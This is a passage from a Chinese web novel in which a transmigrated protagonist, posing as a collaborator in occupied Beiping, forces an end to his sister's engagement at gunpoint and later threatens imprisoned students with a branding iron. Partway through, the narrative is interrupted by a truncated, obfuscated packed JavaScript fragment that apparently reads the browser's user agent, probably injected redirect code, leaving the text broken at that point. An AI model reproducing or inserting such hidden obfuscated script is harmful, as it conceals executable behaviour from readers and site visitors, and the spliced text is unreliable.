在张婉容仅限的人生阅历里,丈夫就是女子的天,就是女子的地,一旦没有了丈夫,这个女子在这个世界上就根本生存不下去。 一想到自己的女儿被退了亲事,毁了名声,甚至是这辈子都再也找不到像盛家这样的好人家了以后,张婉容一下子哭的更伤心了,“我可怜的女儿,怎么就这么命苦?你这下半辈子可怎么过啊……” 就在张婉容抽泣不已的时候,众人的耳朵里面突然传来了一道格外冷静的声音,“君既无情我便休,这门亲事,退了也罢。” 沈听肆一步一步走进花厅,在盛子昂的背后站下。 他比盛子昂高了半个头,此事颇有些居高临下的意味。 盛子昂只觉得自己的背后仿佛像是有一条阴冷的毒蛇盯上了他,让他头皮都有些发麻。 他下意识的扭过头去,就对上了沈听肆那张没有任何表情的脸。 琉璃般的眼珠子一眨不眨,直勾勾的盯着盛子昂,仿佛是暴风雨来临之前的沉寂一般。 盛子昂硬生生的打了个激灵,趋利避害的本能让他闭上了嘴巴,甚至是有些悻悻的躲闪着沈听肆的目光。 但站在他旁边盛装出席的阮泠冉就没有那个眼力见了,见盛子昂好像是怂了,气鼓鼓的跺了跺脚,还又狠狠的掐了一把盛子昂胳膊内部的肉,“他要退婚就赶紧退呀,你不说话算是个怎么回事儿?” 盛子昂哪里敢说话…… 虽然他曾经也见过几回这个名义上的便宜大舅哥,却从未在对方身上见识到过这种气度。 他记忆中傅青隐是一个非常温柔随和的人,因为出过洋,留过学,所以待人接物都非常的有礼貌,而且几乎从不与人起冲突。 虽然他已经有两年多没有回过北平,回来以后也知道傅青隐放弃了北平大学老师的这个身份,投靠了东瀛人,可却从未想过,对方身上竟然会发生这样大的变化。 他感觉站在自己面前的沈听肆,仿佛比他爹还要有气势,让他下意识的想要装鹌鹑。 只不过当着自己心上人的面,盛子昂还是不想那么丢面子的。 于是他紧咬着牙关,攥紧了拳头,不卑不亢的迎上沈听肆的目光,“我今天来,主要是想要和二小姐退婚。” “退婚当然可以,”沈听肆深以为然的点点头,毕竟他也觉得盛子昂这个朝秦暮楚的渣男配不上他的妹妹傅云禾,“但是你在退婚的时候还带着小三过来,是不是就有点儿不道德了?” 虽然沈听肆没有大喇喇的说出阮泠冉的名字,可“小三”指代的谁也是不言而喻的事情。 这让阮泠冉立马就变了脸色,她梗着脖子,义正言辞的开口,“在感情里面,不被爱的那个人才是小三!” 似乎是为了证实她所说的这句话,她直接当着所有人的面踮起脚尖在盛子昂的侧脸上亲了一口,还极大声音的发出了一个“啵~” 张婉容也是一个旧时代的女性,看到这一幕直接吓得捂起了眼睛。 她不敢看,但嘴里却一直念念有词,“有伤风化,简直是有伤风化!” 大庭广众之下的做出这种事情来,简直是丢死人了。 傅云禾虽然一直都沉默着,没有说话,但这一幕也是落在了她的眼睛里,顿时眼眶就泛起了泪来。 她从有记忆开始就知道自己是盛子昂的妻子,长大了以后要嫁给盛子昂。 她虽然没有接触过多少男子,可却也是真心的爱慕着盛子昂。 况且从小到大,盛子昂一直都对她非常的好,去哪里也都带着她玩,在她开始缠足,痛不欲生的那段日子里,是盛子昂想方设法的逗她开心。 每一根脚趾头被硬生生折断,压在脚底板下,鲜血染红了缠脚布,无数次,她疼得想要放弃,恨不得就这样死掉的时候,是盛子昂在一旁鼓励她。 一想到自己现在所付出的一切,是为了日后嫁给盛子昂更好的生活,傅云禾便将所有的痛都忍了下来。 如果一双小脚能够让盛子昂喜欢她,永远和她在一起,那么她愿意忍受这份痛苦。 所以她一直以盛家未来儿媳妇的身份来严格要求自己,在盛子昂留洋的这两年里,时不时的就到盛家去替他照顾父母,有时候还帮着盛家打理铺子。 在盛家老两口生病的日子里,也是她衣不解带的伺候在床前。 她以为她做了一个未来儿媳妇应该做的一切,会等到盛子昂兑现承诺来娶她。 但当盛子昂当真从国外念书回来以后,却将一切都改变了。 说好要娶她的人,身边站了一位,格外摩登的姑娘,和那个姑娘一对比,傅云禾感觉自己几乎卑微到了尘土里去。 她曾经引以为傲的那双三寸金莲,无数次被人夸奖的小脚。 原来竟是这样的丑陋。 丑陋到盛子昂看上一眼都会觉得无比恶心。 可是她又有什么办法? 她反抗过,挣扎过,却还是无法改变自己的命运。 她也想向阮泠冉那样,光明正大的在大庭广众之下倾诉自己对盛子昂的爱意,她也想那样的去亲吻他。 可傅云禾知道,这太难了。 就像她当初无法控制自己不被缠足一样,如今的她也无法控制盛子昂喜欢上别人。 不同于傅家母女的伤心难过,盛子昂和阮泠冉可高兴坏了。 他们两个是在国外留洋时候认识的,是同一个学校的学生,那个时候为了和阮泠冉谈恋爱,盛子昂隐藏了自己有未婚妻的事情。 回国以后阮泠冉知道了这件事,可是和盛子昂闹了好一番别扭,甚至在得知盛子昂想要退婚的时候,迫不及待地跟着一块来了。 但就在这之前,阮泠冉对待盛子昂的态度都是气呼呼的,就算是两个人十指相扣,那也是盛子昂强硬的牵着阮泠冉的手。 可现在阮泠冉竟然直接亲了盛子昂。 这说明什么? 这说明阮泠冉已经原谅盛子昂了啊! 盛子昂兴奋极了,若不是因为这还是在傅家,盛子昂恨不得直接将阮泠冉抱起来转上几个圈,再好好的和她亲吻一番。 “我就知道你是爱我的,”盛子昂深情款款的看着阮泠冉,那双眸子里面的情意沉的都几乎快要腻死人,“等把这门亲事退了,我立马就到你们家去提亲。” 阮泠冉低着头羞涩一笑,抿着嘴巴,轻轻应了一声,“嗯。” 沈听肆:…… 这两个人当他是死的不成? 于是,在两人深情脉脉的对视的时候,沈听肆的右手轻轻搭在了盛子昂的肩膀上。 盛子昂下意识的皱了皱眉,还来不及开口询问沈听肆究竟要做什么的时候,他只觉得一阵天旋地转,随后,整个人就已经腾空而起了。 “砰——” 一声巨响,盛子昂直接被沈听肆一个过肩摔重重的扔在了地上。 盛子昂痛声惨叫,只感觉自己的尾巴骨都好似被摔断了。 疼的他面容扭曲,半天都爬不起来。 如此残暴的一幕,让花厅里的三名女子花容失色。 张婉容拿着手帕擦眼泪的手,猛然间按在了椅子扶手上,整个人“噌”的一下站了起来,瞪大了眼睛看着躺在地上哀嚎的盛子昂,一时之间都不知道该说些什么好。 傅云禾眼底闪过一抹痛色,终究是他放在心上十几年的人,看到盛子昂被如此暴揍,她还是有些不忍心。 可一想到对方之所以变成这样,是为了要和她退婚,她跃跃欲试的手又轻轻的放了下去。 而阮泠冉则是尖叫着扑到了盛子昂的身上,一瞬间眼泪就涌了出来,“子昂,你怎么样?痛不痛啊?” 她一边试图去拉盛子昂,一边怒视着沈听肆,“太过分了,简直是太过分了!还有没有王法?怎么能随意打人呢?还下这么重的手……” 可阮泠冉不知道的是,盛子昂被摔到了尾巴骨,原本就痛苦不堪,再加上她这样毫无顾忌的扑上来,使得他本就受伤的尾巴骨更是雪上加霜,猛的一下哀嚎的更大声了。 阮泠冉不知所措的愣在原地,“我……我不是故意的。” 盛子昂疼得都恨不得直接昏过去,但为了安抚阮泠冉,他还是强撑着挤出了一个笑容来,“没……没关系,我不是很痛,你先靠边一点,让我起来。” 两个人费了九牛二虎之力才站起身。 可结果那个罪魁祸首丝毫没有歉意不说,反而是施施然地坐在了一旁的椅子上,甚至还饶有兴致地品着一碗丫鬟刚捧上来的新茶。 沈听肆单手拿着茶杯的盖子,在茶杯边缘转了一圈,随后才将其端起来,轻轻抿了一口,“不愧是今年刚出的雪山绿芽,这味道就是清甜。” 盛子昂彻底的被激怒了。 在盛子昂的印象里,盛家和傅家虽然是世交,但盛家的家业要比傅家大,家势也比傅家好。 这门亲事,算得上是傅云禾高攀了。 盛子昂自认为自己上门来退婚,已经给足了傅家面子,却没想到他们不仅不答应,反而还对他动手。 最重要的是,让他在自己心爱的女人阮泠冉面前丢尽了脸面! 这是大男子主义的盛子昂完全没有办法忍受的事情。 他强忍着身上的剧痛,冲过去一把夺过沈听肆手里的茶杯,重重地砸在了地面上。 眨眼间,杯子四分五裂,滚烫的茶水散落一地。 张婉容被吓得失声惊叫,“你疯了不成?” 碎瓷片砸在地上又蹦起,有一片甚至不经意间划破了傅云禾的手背。 她长年累月地关在高门大院里,皮肤格外的白皙,那道血痕落在上面,刺眼极了。 伤口不大,也不是特别的疼,可傅云禾却觉得自己的心痛的快要死掉。 因为那个伤害了她的男人,没有将丝毫的视线落在她的身上。 盛子昂指着沈听肆的鼻子咒骂,“傅青隐,你以为你做了汉奸,投靠了东瀛人,就觉得自己了不起了,是不是?!” 他之所以要退婚,除了不喜欢傅云禾这个作风老派,还有着一双小脚的封建女人以外,就是因为傅云禾的亲哥哥成了人人喊打的叛徒。 他盛子昂是学过新思想的进步青年,怎么可能会有一个成为了汉奸的大舅哥呢? 这说出去岂不是要让人家笑掉大牙? 盛子昂低着头怒视沈听肆,骂骂咧咧的,继续说道,“识相点儿的就赶紧退婚,要不然当心小爷我……” 却突然,盛子昂的声音戛然而止。 阮泠冉却捂着嘴巴惊声尖叫了起来,“别冲动,别冲动,傅少爷,你可千万别冲动!” 沈听肆歪着头似笑非笑的看了盛子昂一眼,“骂啊,继续,我听着呢。” 空气一片寂静,盛子昂呆呆傻傻的站立在那里,像是被故事里的美女蛇扫视过的石膏像一样,一动不敢动。 毕竟他的脑门上可是顶了一把枪啊! 那是枪啊! 稍微一不留神,他就要脑袋开花了。 盛子昂终于意识到自己遇上了硬茬子,立马求饶,“对不起,我错了,傅大少,是我有眼不识泰山,是我小人得志。” “你就当我是一条疯狗,在胡乱的吠叫,”盛子昂惊惧交加的看着沈听肆,“是我瞎了狗眼,得罪了傅大少,您就当我是个屁,把我放了吧……” 刚刚还趾高气扬的人,顷刻之间变成了一条摇尾乞怜的狗。 在小命面前,盛子昂再也顾不得自己的大男子主义,也顾不得再心上人阮泠冉的面子了。 沈听肆握着枪的手微微抖了抖,直吓得盛子昂“扑通”一声就跪在了地上,一张脸失去了所有的血色,惨白的仿佛是一个死人,“我错了,我真的知道错了,傅大少爷饶命啊……” 他无论如何也没想沈听肆竟然会随身带着一把枪。 沈听肆握着手枪在他脑门上点了一下,“这门亲事我做主,可以退了,但是,我有要求……” 话还没有说完,盛子昂就忙不迭的点头答应,“什么要求都可以,我答应,我全部都答应。” 盛子昂除了认怂,大气都不敢出一下,唯恐惹怒了沈听肆,就直接给他一梭子弹。 沈听肆淡淡的撇了他一眼,神情严肃的开口,“让你的父母亲自上门,带上之前的婚书和信物,两家婚约自会解除。” 盛子昂之所以独自一个人上门,就是不想让自己的父母知道,毕竟他心里面明白,他的父母是绝对不会同意解除这桩婚约的。 可此时顶在他脑门上的那把手枪,却容不得他说出拒绝的话来。 盛子昂一边思索着回去如何与父母交代,一边点头答应,“一定,一定。” 沈听肆踹了他一脚,“带着你的心上人,滚!” 阮泠冉急忙将盛子昂搀扶了起来,一瘸一拐的离开了。 后在花厅外面的丫鬟们很有眼力,见儿的走进来,将满地的狼藉给收拾了去,只留下相顾无言的母子三人。 张婉容红着眼眶,一副全然不知所措的模样。 她虽然有些生气沈听肆就这么轻而易举地答应了退亲,可却也说不出什么抱怨的话来,只一个劲儿的哭诉着,“怎么就这么退了呢……以后我的云禾可怎么办?” 沈听肆顿时觉得有些头大,“娘,现在已经是新社会了,没有人规定女子一定要嫁人,何况就算妹妹一辈子都不嫁,我难道还养不起她吗?” 张婉容柔柔弱弱的瞪了沈听肆一眼,“你知道什么?你又不是女儿家,你怎么懂得?” 她深深地发出一道叹息,“这事情传了出去,别人不会责怪盛子昂,只会说是咱们的云禾不好,所以才会被人退亲。” 沈听肆知道这个时代对于女子有着过分严苛的规则,可张婉容说的也太过于夸张了。 他略微思索了一瞬,随后开口道,“现在不是有很多年轻人离婚,甚至是断绝关系什么的都用来登报么,改天我也找个报纸,把盛子昂变心的事情发一发,那样就没有人会责怪妹妹了。” 可张婉容还是拒绝,“不行!” “你这样岂不是让整个北平的人都在看咱们家的笑话?” 沈听肆却突然勾唇笑了笑,“我现在在东瀛人手下做事,咱们家的笑话,那些人看的难道还少了吗?” 张婉容顿时被噎的说不出来话了,她赌气一般的将手里的帕子丢在桌子上,“我说不过你,不和你说了,等你爹回来,你亲自和你爹解释去吧。” 这具身体的父亲傅烆因为生意去了南,恐怕还要至少一个月左右的时间才能回来。 这也就是盛子昂敢大张旗鼓退亲的缘由吧? 他知道家里面没有主心骨,又特意打听了沈听肆出门的时间,认定张婉容和傅云禾这两个没有什么主见的女人会答应他说的事情。 到时候就算傅烆和沈听肆回来了,也一切都尘埃落定了。 只可惜盛子昂算来算去,没有算到这具身体早已经换了另外一副壳子。 沈听肆不仅赢了许多大洋,还比原主傅青隐提前回来了两个多小时。 张婉容气鼓鼓的要离开,傅云禾却不愿意走。 她依旧是那副唯唯诺诺的模样,低着头,就连说话都是轻声细语的,“大哥,我真的可以不用嫁人吗?” 沈听肆有些心疼这个小姑娘,十七岁的年纪,放到某些时代都还未成年呢。 他轻轻揉了揉傅云禾的脑袋,“大哥当然是说话算数的,你要是不想嫁人,大哥就一辈子养着你。” “你要是想嫁人,大哥也不拦你,”沈听肆思索了一瞬,又说道,“但是盛子昂不是一个良人。” 听到这话,傅云禾的眼泪突然像断了线的珍珠一样,一颗一颗的滚落了下来。 她那颗始终低垂着的脑袋,终于抬起,露出一张泪流满面的小脸,“可是大哥……从我三岁开始,所有人都告诉我,我长大了以后要嫁给盛子昂,这十几年来,我一直都是这样努力着的。” “难道我之前所做的一切全部都是错的吗?” 傅云禾试探着看向了自己的那双三寸金莲,“我也不想裹小脚啊……真的很疼很疼……” 沈听肆轻轻揽着她的背拍了拍,温声细语的哄着,“没事的,不怕了,大哥在呢,有什么委屈都给大哥说。” “呜……” 或许是眼前的人太过于温柔,也或许是刚才受到了太多的委屈,又或许,是一颗忐忑的心终于找到了可以停靠的港湾。 傅云禾眼眸一眨不眨的望着沈听肆,无声的落下了泪。 她捂着嘴巴努力不让自己发出声音,整个人都在颤抖,泪水在眼眶里肆意的喷涌。 女孩的情绪几乎已经压抑到了极致,从她指缝间溢出来的哭声像猫儿一般虚弱,几不可闻。 那是长年累月的严苛礼教养成的习惯,就是连哭都不敢放大声音。 对于傅云禾来说,哭泣除了换来责骂,并不会起到任何的作用,从被迫缠了足,再也无法跑跳开始,她已经有多年都不曾如此肆无忌惮的哭泣过了。 可不知道为什么,明明她已经足够坚强,但却在听到沈听肆那一句“不怕”以后,泪水决了堤一般止都止不住。 沈听肆也没有动作,就这般静静的看着傅云禾哭。 9999好整以暇的看着,【我怎么不知道,宿主还挺会哄小姑娘的?】 它的胆子是越来越大了,如今竟敢调笑起自家宿主了。 但沈听肆并没有因为这个而感到冒犯,他只是勾了勾唇,一本正经的说道,【亲妹妹受了委屈,我这个做哥哥的哄一哄,不是理所当然的吗?】 9999:【……】 算了,当它没说。 “嗝~” 傅云禾哭够了,身体抽搐着打了一个哭嗝,她方才哭泣并没有出声,只是自己默默落泪,此刻,这一个哭嗝在安静的花厅里格外清晰。 傅云禾愣了一瞬,随即有些不好意思起来,她泪眼婆娑的望着沈听肆,轻轻喊了一声,“大哥。” “嗯,”沈听肆自动的将傅云禾的哭嗝给忽略,从西装口袋里掏出一块绣着青竹的手帕递给她,“擦擦。” 接过帕子将脸上的泪水擦干净,傅云禾的情绪也冷静了下来,她微红着脸,稍微有些不好意思,“让大哥看笑话了。” 沈听肆不在意的摇了摇头,“走吧,我送你回去。” 因着这一双小脚,傅云禾走路是十分艰难的,一般人家的小姐身边都会配着一个身强力壮的抱娘,专门在缠了足的小姐们走不动道的时候抱着她们。 但傅云禾七岁开始就不让抱娘抱了。 她走路很慢,需要丫鬟搀着,一点一点的往前挪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅云禾冷冷扫她一眼,没有理会,转而是对自己身旁的丫鬟开口道,“去把大哥喊来,就说三妹妹对于他定下来的退婚的事情有意见。” “你胡说八道什么呢?”傅箐慈顿时就急了,这下她也顾不得继续冷嘲热讽,头也不回的就跑开了。 丫鬟小心翼翼的搀扶着傅云禾的胳膊,想要安慰她,“二小姐别生气,三小姐她做不了什么的。” “我知道。”傅云禾低低的应了一声,目光一直追随着逐渐远去的傅箐慈。 她真的好羡慕,好羡慕傅箐慈啊。 羡慕傅箐慈可以跑的那样快,那样稳…… 回到自己的住处,傅云禾将丫鬟撵了出去,坐在床边上,脱下了那双漂亮的绣鞋。 穿着袜子的那双脚格外小巧,捏在掌心真的只有三寸大小,宛若一朵莲花绽开。 傅云禾将袜子脱掉,一圈一圈的将裹脚的布条给解了下来。 埋藏在厚厚布条下的小脚,狰狞,扭曲,畸形,一点都不漂亮。 前半部分的脚掌被硬生生的折断,翻转过来,压在脚心,五根脚趾头在长年累月的挤压下,变得又扁又平,却又恰好填满了脚心凹陷的地方。 傅云禾从未觉得这双脚漂亮,只觉得这仿佛是扎入她心脏的两把锥子,彻底的禁锢了她的人生。 她幼年之时,曾经尝试过反抗,那个时候的她太小了,她的反抗根本没有力量。 十几年过去,她想再次做出反抗。 傅云禾颤抖着,双手抓向了拗在脚心的那五根脚趾头,试图将脚趾给掰回来,掰回一个正常的形状。 可她只稍稍用了一点力气,脚趾处就传来了钻心般的疼痛,疼得她冷汗直冒,浑身颤抖不已。 想要把脚趾掰回来,不亚于把脚上的骨头再掰断一次。 傅云禾最终放弃。 她无力的趴在床上,看着自己那狰狞的双脚,无助的抽泣。 她该怎么办? 她该怎么办啊…… —— 盛子昂回家的当晚就给自己的父亲说了要和傅云禾退婚的事情。 “傅云禾就是一个封建社会的傀儡,她像是一个没有自己思想的花瓶一样,别人怎么说她就怎么做,无趣极了。” 盛子昂站的笔直,一板一眼的开口,“你让我娶这样的一个女人回家,一辈子都对着那样一张面无表情的脸,那还不如死了算了!” 盛父直接抓起手边的茶杯就砸了过去,“你真是反了天了!出国念了几年,洋墨水就不知道天高地厚了是不是?” 盛子昂眼疾手快的躲了过去,任由那茶杯在他脚下四分五裂,“你不同意也不行,这件事情我已经和傅青隐谈过了,他说了,退婚可以要您亲自带着婚书和信物去傅家……” 话还没说完,盛父顿时被气的面如菜色,“逆子!逆子!你怎么敢的啊?!” 现在谁不知道傅家的长子傅青隐投靠了东瀛人,且是平川大佐的座上宾,一旦得罪了他,只要他到平川大佐说上几句话,他们就算不死,也得被扒下一层皮。 现在基本上整个北平都在东瀛人的掌控之中,傅家和盛家虽然看起来花团锦簇,生意也做得非常大,可那全部都是因为他们给东瀛人上了供,每年都有大批的银元交到东映人的手里,这才能够保证他们的生意可以继续下去。 一但他们在平川大佐那里落了个差的名声,那他们家的生意绝对会遭殃。 能将自己家里的生意做到这么大,盛擎自然也不是个蠢的。 可却没想到,自己的儿子竟然是个只长个子不长脑子的蠢货! 出国留洋两年多,屁本事没学到,倒是把洋人那种看不起人的姿态学了个十成十。 眼看着盛父都快要撅过去了,盛母连忙给他递了杯茶,然后一下一下的拍着他的胸脯。 随后,她扭过头来,对盛子昂开口,“我看你真的是疯了,这么大的事情,你不与我和你爹商量商量,就一个人跑到傅家去了,你是想要气死你爹吗?!” 盛父被气成这个样,盛子昂梗着的脖子稍稍放下来了一些,低着头嘟嘟囔囔,“你们说有什么用?你们又不会同意。” 盛父重重一巴掌拍在桌子上,指着盛子昂破口大骂,“你还知道老子不会同意,你这是想干什么?先斩后奏吗?” “你知不知道傅青隐现在在为东瀛人做事,他想要搞我们家……” “一个汉奸而已,”盛子昂说到这个立马又来了劲,“你怕他做什么?” 盛父被气了个仰倒,完全没想到自己的蠢儿子竟然如此的看不清楚形式。 “好,你有骨气,你了不起!” 盛父气极,“你给我跪下!看我不打不死你这个不孝子!” 对于正在热恋中的年轻人而言,外界的阻挠越大,他们的感情就会越发的深厚。 面对盛父如此强硬的态度,盛子昂也是直接强势了起来,他三两步走到院子里,直挺挺的跪了下去,“跪就跪,有本事你就打死我,反正我是绝对不会去的傅云禾那个封建女人的!” “好,”盛父震怒,直接命下人拿来了鞭子,“我倒要看看你能嘴硬到什么时候。” 盛母心疼儿子,想要去拦,可却被盛父的一个眼神给唬住了,只能眼睁睁的看着那皮鞭一下一下的抽在了盛子昂的脊背上。 盛子昂咬着牙,拳头攥紧,一言不发。 由着盛父打。 十几鞭子下去,盛子昂背上的衣服都被抽烂了,盛父也是气喘吁吁? 可盛子昂却依旧一副要与全天下为敌的表现,“我是绝对绝对不会娶傅云禾那个封建女人的!” 因为疼痛,他说话的声音都带着一丝颤抖,可却又掷地有声。 盛父长长的吐出一口浊气,一瞬间仿佛苍老了许多,他重重地丢下手里的长鞭,“那个女人究竟给你灌了什么迷魂汤,能够让你不惜如此,也要维护她?” 盛子昂情绪略微有些激动,“冉冉才没有给我灌迷魂汤,我们志同道合,我们有相同的理想,傅云禾根本就不懂我!” 盛父眼底含着几分晦暗不明的神色,摇了摇头,扭身而去。 他也没说让盛子昂起来,盛子昂就这样在院子里跪了一夜。 对此,沈听肆自然是毫不知情。 第二天,天色还尚未大亮,天空中弥漫着一层浅浅的雾气,沈听肆就已然出了门。 毕竟,他今日可要去东瀛人的监牢里面认个人。 在沈听肆到达任务位面的第二天,他就见到了这片殖民地里,东瀛的最高统领平川大佐。 这是一个看起来十分瘦弱的男人,身材矮小,面容也不甚坚毅,完全不似其他军团的大佐那般有威严。 可那一双眼眸却格外的睿智,当他的视线扫过来的时候,好似所有隐藏起来的东西都将会无处遁形。 沈听肆不动声色的观察着他,完全一比一复刻原主的表现,“平川大佐。” 平川大佐浅浅看了沈听肆一眼,壮士不经意间的提到,“听说傅君最近赢了不少钱?” “确实有一点,”沈听肆大大方方的承认下来,这平川大佐对他的关注还真是格外的高啊,他昨天晚上赢了大洋,今天平川大佐就知道了,“不过……这应当不妨事吧?” 平川大佐笑了笑,走过来抬手拍上沈听肆肩膀,“没事,就是随口问问,我今日找你是让你认个人。” 沈听肆点头,“我明白的。” 平川大佐稍微退开了一步,眼眸微微眯起,直勾勾地盯着沈听肆的表情,然后才缓缓开口,“你的学生温承松,是这次反抗行动的组织者,不知你对于这个学生还有什么印象?” 沈听肆诚惶诚恐,“大佐说笑了,我已经不在北平大学教书,又哪里来的学生??” 平川大佐对于沈听肆的这番表现颇为满意,那种扫视的目光收回了去,乐呵呵地开口道,“就去瞧上一眼就行,顺便看看,能不能从那些学生的嘴里套出一些有用的信息。” 沈听肆很快的来到了监牢,这里到处都弥漫着浓重的血腥味。 甚至还时不时的传来几声痛苦的哀嚎,好似是正在用刑。 沈听肆全然当做没有听到,面无表情的跟在一个东瀛人的身后往前走。 很快,他们的脚步停下了。 这间牢房里面关着二十多个年轻人,且全部都是原主傅青隐曾经的学生。 他们的四肢被镣铐紧紧的锁住,无法动弹半分,身上还有许多被鞭打的痕迹,原本灰白色的长衫校服变得血迹斑斑,已然是全部都被用了刑了。 平川大佐站在沈听肆的身边,“虽然已经不在北平大学教书了,但想必傅君对于你曾经的学生的样貌,应当还是有印象的吧?” 沈听肆点点头,“自然。” 平川大佐示意自己身边的手下,将牢房的门给打开,然后抬手指了指里面,对沈听肆开口道,“那就请傅君将人给找出来了。” 沈听肆一步一步的踏进了牢房,勾着唇瓣,笑意盈盈的开口道,“同学们,许久不见了。” 温承松听到声音后,缓缓抬起了头来,在看到沈听肆的一瞬间,连瞳孔都放大了些。 他拼命的挣扎着,摇晃着四肢,铁链在他的晃动下,发出“哗啦哗啦”的声音,如同他的内心一般,躁动不平静。 可如此虚弱的他,又怎能挣得开那钢铁打造的镣铐呢? 只不过是在做着无用功罢了。 温承松一番动作,非但没有挣脱,反而把自己累的气喘吁吁,他大睁着眸子,狠狠地瞪着沈听肆,咬牙切齿的从喉咙里面喊出了几个字来,“叛徒!走狗!!” 其他同学们也是气愤不已,一个个争先恐后的开始咒骂,“你就是个汉奸,你不得好死!!!” 3. 第 3 章 温承松至今还记得自己初次见到傅青隐的那一日。 阳光灿烂,春光融融,空气中弥漫着清甜的桃花的香气,好似一切都是那样的美好且富有生机。 他作为刚进入北平大学的新生,和一群怀揣着梦想的同伴们坐在操场上,看着那个年轻的先生在上面侃侃而谈。 说人生,说理想,说家国,说未来。 一群十几岁的少年人,正是血气方刚的时候,怀揣着一腔热血,带着崇高的理想,踏上了一条注定渺茫的路。 温承松至今还记得对方在自己耳边曾说过的话。 鲜衣怒马少年时,不负韶华行且知。 他们的故土,他们的亲人,被欺辱,被霸凌,被剥夺,被毁坏。 只有年轻一代站起来,肩负着时代的使命,能够在这无数的侵略者中争取一个未来。 他那样信了,便也那样做了。 他的老师,傅青隐,带着他们这些年轻人,从发表在青年报纸上的文章开始,到后面收留反抗军的同胞,有失败,也有成功。 但无论最终的结果如何,他们付出了努力了,竭尽全力了,便从不后悔。 两年时间,他们看着他们的同胞们从被侵略者肆无忌惮的欺凌,一步一步的成长到不再被其他国家的人压着打的地步,他们的反抗终于有了效果,整个世界中也终于出现了他们的声音。 可结果就在他们终于看到了希望,他们终于有了反抗的资本的时候,只不过是一次全校师生被捕,他的老师,他们人生中的至高信仰,那个带领他们前进的灯塔,叛变了。 多么的可笑,多么的讽刺。 领头人的叛变,让他们此前所有人的努力都好似变成了一场笑话,让好不容易坚定起来的民心又在一瞬间垮掉了。 温承松目光直勾勾的看着眼前的这个人。 细碎的短发自然的垂落在鬓边,露出一张线条利落,十分干净的脸,他的眉眼间一片疏淡,剔透的瞳孔当中沉淀着墨色,却又透露着隐隐的关怀。 “呵!” 温承松是笑了一声,他一定是因为被关在这个狭小的空间里面动弹不得,所以魔怔了。 否则这个人怎么可能会关心他呢? 温承松鄙弃了一下自己,将那种不应该有的情绪甩出脑子,随后怒骂道,“你个叛徒,你不得好死!” “怎么,当东瀛人的走狗给你当初优越感来了,看到我们落的这样的下场,你很高兴是不是?” 温承松的话就仿佛是一滴冷水滴进了滚烫的油锅里面,让原本还算安静的牢房瞬间沸腾了起来。 “走狗!” “内奸!” “叛徒!” 种种咒骂声不绝于耳,那些学生们一个个怒目圆视,张大着嘴巴,竭尽所能地搜刮着语言文字来咒骂沈听肆。 如果不是因为他们被绑了起来,动弹不得的话,说不定每个人都会冲上来,像一匹饿狼一样从沈听肆身上撕咬下一块血肉。 沈听肆没有回答,只是幽幽的发出了一声感叹,随即又问9999,【这个主角看起来情绪好像不是很稳定的样子。】 【他都已经被抓起来变成阶下囚了,不装鹌鹑,静下心来思索逃跑路线,反而却在这里骂骂咧咧?】 虽然沈听肆猜测温承松之所以会这样,是因为见到昔日带领他走向反抗这条道路的老师,变成了叛徒以后太过于气愤,可却还是让他有些一言难尽。 9999不知道该说些什么,【或许,他就是因为太生气了吧。】 “啧,”沈听肆嗤笑一声,宛若琉璃的眸子中收去了所有的温和,转而带上了一抹极度的冷,“你们的废话可真多。” 话音落下,沈听肆突然狠狠一脚踹向了那个捆绑着一名男学生的柱子。 “砰——!” 一声剧烈的撞击声响起,整个柱子连带着男学生一起重重地翻倒在地,发出一声巨大的声响。 男学生重重摔倒,整个前额砸在冰冷的地面上,发出一声沉闷的碰撞,他身上铁制的镣铐也在同一时间哗哗作响。 剧烈的疼痛让他的面容变得扭曲了起来,全然顾不得再张口谩骂,只一张脸憋的通红,不停的发出撕心裂肺的咳嗽。 “咳咳咳!” 牢房的地面是夯平了的泥土,男学生在倒地的一瞬间,有数不尽的烟霾被他吸到了肺里面去,男学生感觉自己的喉咙里仿佛被灌了满满一大瓶的辣椒水,火辣辣的灼烧着,嗓子仿佛快要冒烟。 他的眉心死死的皱了起来,脸上的表情痛苦又狰狞,整张脸失去了血色,变得格外苍白。 已然是彻底的失去了反抗的能力。 就连骂人似乎也张不开口了。 但那个行凶的人却并没有因此而轻易的放过他。 沈听肆轻轻走过去,毫不留情的抬手掐住了他的脖子,“你再骂一句试试?” 那只手骨节分明,手指修长,格外的漂亮,可此时却宛若死神的镰刀一般钳制着温承松的命脉。 仿佛他只要再稍稍用上几分力气,男学生就会在顷刻间毙命。 “你一个阶下囚,就要有一个阶下囚的觉悟,你在这给我耍什么脸色呢?” “嗯?”沈听肆最后一个字落下,另一只手轻轻拍了拍那男学生的脸,“我现在想要弄死你,易如反掌,你知不知道?” 男学生被掐的脖子上青筋爬起,太阳穴一股一股的跳动,那双眸子里的恨意更深了几分。 “你有本事冲我来!”温承松拼命的晃动着身体,用力的挣扎着,可他的血肉之躯又怎么抵得过那些铁质的链条呢? 除了做无用功以外,他最多只是耗尽力气罢了。 沈听肆闻言扭头,重重的一脚踹在了他的肚子上,“怎么,你也想尝试一下?” 说着这话,沈听肆走到了一旁去。 那里放着一个铁盆,棚子里面满满的都是燃烧的猩红的炭火。 沈听肆将一个烙铁从碳盆底下抽出来,缓缓塞进了那些炭火之中。 随着时间的推移,原本漆黑之色的烙铁慢慢染上了一抹红,到最后燃起了噼里啪啦的火星,整个烙铁红的瘆人,就连它周围的空气都被灼烧的扭曲了几分。 清风透过牢房的缝隙吹进来,落入那炭火当中,在浓烟里化为灰烬。 沈听肆在烟雾里转身。 他穿着一身裁剪合体的西装,头发也打理的一丝不苟,明明是一副温文尔雅的打扮,可那双眼眸里透露出来的冷意,却无端的让温承松感到阵阵心寒。 衣摆带起微风,沈听肆踱步路过那灼灼烧着炭火的铁盆,手里闪着猩红之色的烙铁,就那样凑近了温承松的面颊。 “你不服是不是?” 沈听肆再想要动手,身后却忽然传来了一个人的声音,“够了。” 平川大佐从他背后走出,抬手轻轻拍了拍沈听肆的肩膀,“还是个学生呢,你这么一下子下去,他真的要死了。” “死了活该!”沈听肆怒气冲冲,随即又重重一脚踹在了温承松的腰窝处,“不过是一个最低等的夏国人,活着也是浪费资源。” 